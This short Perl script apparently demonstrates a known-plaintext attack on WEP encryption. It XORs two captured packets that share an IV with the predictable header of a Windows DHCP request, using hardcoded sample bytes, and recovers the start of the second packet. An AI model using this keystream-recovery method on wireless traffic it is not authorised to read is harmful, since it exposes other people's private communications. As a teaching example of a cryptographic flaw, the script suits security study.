#!/usr/bin/perl
# jwright@hasborg.com

# This is the beginning of the known plaintext for a Windows DHCP request.
# It will be the same for every DHCP request on any network with Windows
# systems.  It does not have to be changed for this script to work.
my @plaindhcp =    (  0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, 
                      0x45, 0x00, 0x01, 0x48, 0x00, 0x01, 0x00, 0x00, 
                      0x80, 0x11, 0x39, 0xa5, 0x00, 0x00, 0x00, 0x00, 
                      0xff, 0xff, 0xff, 0xff, 0x00, 0x44, 0x00, 0x43 );

# This is the encrypted payload content of a packet that appears to be a DHCP
# request packet (frame.pkt_len == 368 and wlan.da eq ff:ff:ff:ff:ff:ff).
# Only the first 32-bytes are used for demonstrative purposes.
my @cipherdhcp =    ( 0x31, 0xb9, 0x84, 0x81, 0xe1, 0x96, 0x6e, 0x71, 
                      0xd8, 0xa3, 0x39, 0x0c, 0xfb, 0x48, 0xaa, 0x61, 
                      0x59, 0x1f, 0x53, 0x77, 0x5c, 0xd7, 0x31, 0xc7, 
                      0x9b, 0xc0, 0x2d, 0x08, 0x8b, 0xac, 0x34, 0x26 );

# This is the first 32-bytes of the encrypted packet that uses a colliding IV
# as our encrypted DHCP-request packet.  This is the packet whose plaintext
# content we want to recover.
my @cipherunknown = ( 0x31, 0xb9, 0x84, 0x81, 0xe1, 0x96, 0x6e, 0x71, 
                      0xd8, 0xa3, 0x3d, 0x0c, 0xfb, 0xb5, 0xaa, 0x61, 
                      0xeb, 0x3c, 0x63, 0x07, 0x1c, 0xb1, 0xcd, 0xc4, 
                      0xa3, 0xe1, 0xa6, 0x9c, 0x6c, 0x3f, 0x71, 0xf9 );

for ($i = 0 ; $i < @plaindhcp; $i++) {
    $cipxor = $cipherdhcp[$i] ^ $cipherunknown[$i];
    printf("%02x ", $cipxor ^ $plaindhcp[$i]);
}

printf("\n");
